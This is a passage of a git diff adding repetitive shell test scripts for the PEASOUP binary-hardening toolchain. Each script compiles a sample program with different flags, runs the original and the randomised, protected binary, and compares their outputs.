+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4a59b9ed8aeaee9660c52b1783bdffb16f50d518
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c983c6449ae52d5d4e5a81582aa01b548e2d0340
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..07ef7c1a1c0f6482b49233f320860acccc164bad
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e61f1769e280f3c951addc0411b189d00aa4f63f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..37d715e9b653b801dffe36426788ea9b922a652a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d2e80dea632c21f464f4de01f29a53913a1b7f1e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
